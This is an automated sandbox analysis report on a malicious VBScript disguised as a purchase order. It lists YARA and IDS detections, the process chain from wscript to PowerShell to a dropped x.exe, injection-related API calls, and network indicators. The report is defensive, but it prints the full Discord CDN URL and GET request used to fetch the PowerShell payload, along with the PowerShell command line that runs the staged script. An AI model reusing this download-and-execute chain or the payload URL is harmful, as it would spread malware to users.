Windows Analysis Report
PO_11171111221.Vbs.vbs

AI detected suspicious sample

Source: Yara match	File source: 5.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.1996937641.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1997479679.0000000000BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\x.exe

Joe Sandbox ML: detected

Source: unknown

HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.4:49730 version: TLS 1.2

Source:	Binary string: wntdll.pdbUGP source: aspnet_compiler.exe, 00000005.00000002.1998243490.0000000001050000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: aspnet_compiler.exe, aspnet_compiler.exe, 00000005.00000002.1998243490.0000000001050000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: VXCVNXC233.pdb source: powershell.exe, 00000001.00000002.1763331017.000001EFD100D000.00000004.00000800.00020000.00000000.sdmp, x.exe.1.dr

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2018856 - Severity 1 - ET MALWARE Windows executable base64 encoded : 162.159.129.233:443 -> 192.168.2.4:49730

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe

Network Connect: 162.159.129.233 443

Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233
Source: Joe Sandbox View	IP Address: 162.159.129.233 162.159.129.233

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic

HTTP traffic detected: GET /attachments/1295304757166080020/1316923696224669696/fore.ps1?ex=675cd044&is=675b7ec4&hm=5608089203d1f55754eb42ae1b19e52da07e426935e063abf1f2bb096cfc394e& HTTP/1.1Accept: */*Accept-Language: en-chUA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: cdn.discordapp.comConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

DNS traffic detected: DNS query: cdn.discordapp.com

Source: powershell.exe, 00000001.00000002.1763331017.000001EFD100D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1728136588.000001EFC26FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000001.00000002.1728136588.000001EFC2583000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1728136588.000001EFC0F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1728136588.000001EFC2197000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000001.00000002.1728136588.000001EFC2583000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000001.00000002.1728136588.000001EFC0F91000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: wscript.exe, 00000000.00000003.1785984248.00000163D4375000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/
Source: wscript.exe, 00000000.00000002.1789139746.00000163D4455000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attac
Source: wscript.exe, 00000000.00000003.1708120120.00000163D6330000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/129530475716608
Source: wscript.exe, wscript.exe, 00000000.00000003.1708120120.00000163D6330000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1789200260.00000163D6120000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1707617251.00000163D6124000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1707941021.00000163D6124000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.discordapp.com/attachments/1295304757166080020/1316923696
Source: wscript.exe, 00000000.00000002.1789200260.00000163D6122000.00000004.00000020.00020000.00000000.sdmp, PO_11171111221.Vbs.vbs	String found in binary or memory: https://cdn.discordapp.com/attachments/1295304757166080020/1316923696224669696/fore.ps1?ex=675cd044&
Source: powershell.exe, 00000001.00000002.1728136588.000001EFC26FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1728136588.000001EFC26FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1728136588.000001EFC26FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000001.00000002.1728136588.000001EFC2583000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: wscript.exe, 00000000.00000003.1785872374.00000163D4371000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1789113895.00000163D4378000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1785984248.00000163D4375000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: powershell.exe, 00000001.00000002.1763331017.000001EFD100D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1728136588.000001EFC26FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000001.00000002.1728136588.000001EFC2197000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000001.00000002.1728136588.000001EFC2197000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown

HTTPS traffic detected: 162.159.129.233:443 -> 192.168.2.4:49730 version: TLS 1.2

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 5.2.aspnet_compiler.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.aspnet_compiler.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.1996937641.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.1997479679.0000000000BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary

Source: Process Memory Space: powershell.exe PID: 1216, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

.NET source code contains very large array initializations

Source: x.exe.1.dr, -Module-.cs	Large array initialization: _003CModule_003E: array initializer size 74016
Source: 1.2.powershell.exe.1efd11c4300.0.raw.unpack, -Module-.cs	Large array initialization: _003CModule_003E: array initializer size 74016

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\x.exe

Jump to dropped file

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\dddddd.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\dddddd.ps1"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0042CAA3 NtClose,	5_2_0042CAA3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C35C0 NtCreateMutant,LdrInitializeThunk,	5_2_010C35C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2B60 NtClose,LdrInitializeThunk,	5_2_010C2B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_010C2DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_010C2C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C3010 NtOpenDirectoryObject,	5_2_010C3010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C3090 NtSetValueKey,	5_2_010C3090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C4340 NtSetContextThread,	5_2_010C4340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C4650 NtSuspendThread,	5_2_010C4650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C39B0 NtGetContextThread,	5_2_010C39B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2B80 NtQueryInformationFile,	5_2_010C2B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2BA0 NtEnumerateValueKey,	5_2_010C2BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2BE0 NtQueryValueKey,	5_2_010C2BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2BF0 NtAllocateVirtualMemory,	5_2_010C2BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2AB0 NtWaitForSingleObject,	5_2_010C2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2AD0 NtReadFile,	5_2_010C2AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2AF0 NtWriteFile,	5_2_010C2AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2D00 NtSetInformationFile,	5_2_010C2D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C3D10 NtOpenProcessToken,	5_2_010C3D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2D10 NtMapViewOfSection,	5_2_010C2D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2D30 NtUnmapViewOfSection,	5_2_010C2D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C3D70 NtOpenThread,	5_2_010C3D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2DB0 NtEnumerateKey,	5_2_010C2DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2DD0 NtDelayExecution,	5_2_010C2DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2C00 NtQueryInformationProcess,	5_2_010C2C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2C60 NtCreateKey,	5_2_010C2C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2CA0 NtQueryInformationToken,	5_2_010C2CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2CC0 NtQueryVirtualMemory,	5_2_010C2CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2CF0 NtOpenProcess,	5_2_010C2CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2F30 NtCreateSection,	5_2_010C2F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2F60 NtCreateProcessEx,	5_2_010C2F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2F90 NtProtectVirtualMemory,	5_2_010C2F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2FA0 NtQuerySection,	5_2_010C2FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2FB0 NtResumeThread,	5_2_010C2FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2FE0 NtCreateFile,	5_2_010C2FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2E30 NtWriteVirtualMemory,	5_2_010C2E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2E80 NtReadVirtualMemory,	5_2_010C2E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2EA0 NtAdjustPrivilegesToken,	5_2_010C2EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C2EE0 NtQueueApcThread,	5_2_010C2EE0

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_00FA0848	3_2_00FA0848
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_00FA1DD0	3_2_00FA1DD0
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_00FA07B8	3_2_00FA07B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0042F0C3	5_2_0042F0C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0041010A	5_2_0041010A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_00410113	5_2_00410113
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_004011F0	5_2_004011F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_00416B43	5_2_00416B43
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0040E313	5_2_0040E313
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_00402B1F	5_2_00402B1F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_00402B20	5_2_00402B20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_00410333	5_2_00410333
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_00416B3E	5_2_00416B3E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0040E457	5_2_0040E457
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0040E463	5_2_0040E463
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0040E4AC	5_2_0040E4AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_004026C0	5_2_004026C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_00402FE0	5_2_00402FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01080100	5_2_01080100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112A118	5_2_0112A118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010C516C	5_2_010C516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107F172	5_2_0107F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0115B16B	5_2_0115B16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109B1B0	5_2_0109B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011501AA	5_2_011501AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011481CC	5_2_011481CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010970C0	5_2_010970C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0113F0CC	5_2_0113F0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114F0E0	5_2_0114F0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011470E9	5_2_011470E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114132D	5_2_0114132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114A352	5_2_0114A352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0107D34C	5_2_0107D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010D739A	5_2_010D739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011503E6	5_2_011503E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109E3F0	5_2_0109E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01130274	5_2_01130274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010952A0	5_2_010952A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AB2C0	5_2_010AB2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011312ED	5_2_011312ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01090535	5_2_01090535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01147571	5_2_01147571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01150591	5_2_01150591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112D5B0	5_2_0112D5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114F43F	5_2_0114F43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01142446	5_2_01142446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01081460	5_2_01081460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0113E4F6	5_2_0113E4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B4750	5_2_010B4750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01090770	5_2_01090770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114F7B0	5_2_0114F7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108C7C0	5_2_0108C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_011416CC	5_2_011416CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AC6E0	5_2_010AC6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01099950	5_2_01099950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AB950	5_2_010AB950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A6962	5_2_010A6962
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010929A0	5_2_010929A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0115A9A6	5_2_0115A9A6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010FD800	5_2_010FD800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01092840	5_2_01092840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109A840	5_2_0109A840
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010768B8	5_2_010768B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010938E0	5_2_010938E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010BE8F0	5_2_010BE8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114AB40	5_2_0114AB40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114FB76	5_2_0114FB76
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AFB80	5_2_010AFB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01146BD7	5_2_01146BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010CDBF9	5_2_010CDBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01147A46	5_2_01147A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114FA49	5_2_0114FA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01103A6C	5_2_01103A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108EA80	5_2_0108EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010D5AA0	5_2_010D5AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0112DAAC	5_2_0112DAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0113DAC6	5_2_0113DAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0109AD00	5_2_0109AD00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01093D40	5_2_01093D40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01141D5A	5_2_01141D5A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01147D73	5_2_01147D73
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A8DBF	5_2_010A8DBF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010AFDC0	5_2_010AFDC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0108ADE0	5_2_0108ADE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01090C00	5_2_01090C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01109C32	5_2_01109C32
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01130CB5	5_2_01130CB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114FCF2	5_2_0114FCF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01080CF2	5_2_01080CF2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114FF09	5_2_0114FF09
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010D2F28	5_2_010D2F28
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010B0F30	5_2_010B0F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01104F40	5_2_01104F40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01091F92	5_2_01091F92
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114FFB1	5_2_0114FFB1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01082FC8	5_2_01082FC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114EE26	5_2_0114EE26
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01090E59	5_2_01090E59
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114CE93	5_2_0114CE93
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_010A2E90	5_2_010A2E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_01099EB0	5_2_01099EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: 5_2_0114EEDB	5_2_0114EEDB

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: String function: 0110F290 appears 105 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: String function: 010C5130 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: String function: 010FEA12 appears 84 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: String function: 0107B970 appears 251 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Code function: String function: 010D7E54 appears 86 times

Source: PO_11171111221.Vbs.vbs

Initial sample: Strings found which are bigger than 50

Source: Process Memory Space: powershell.exe PID: 1216, type: MEMORYSTR

Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: x.exe.1.dr

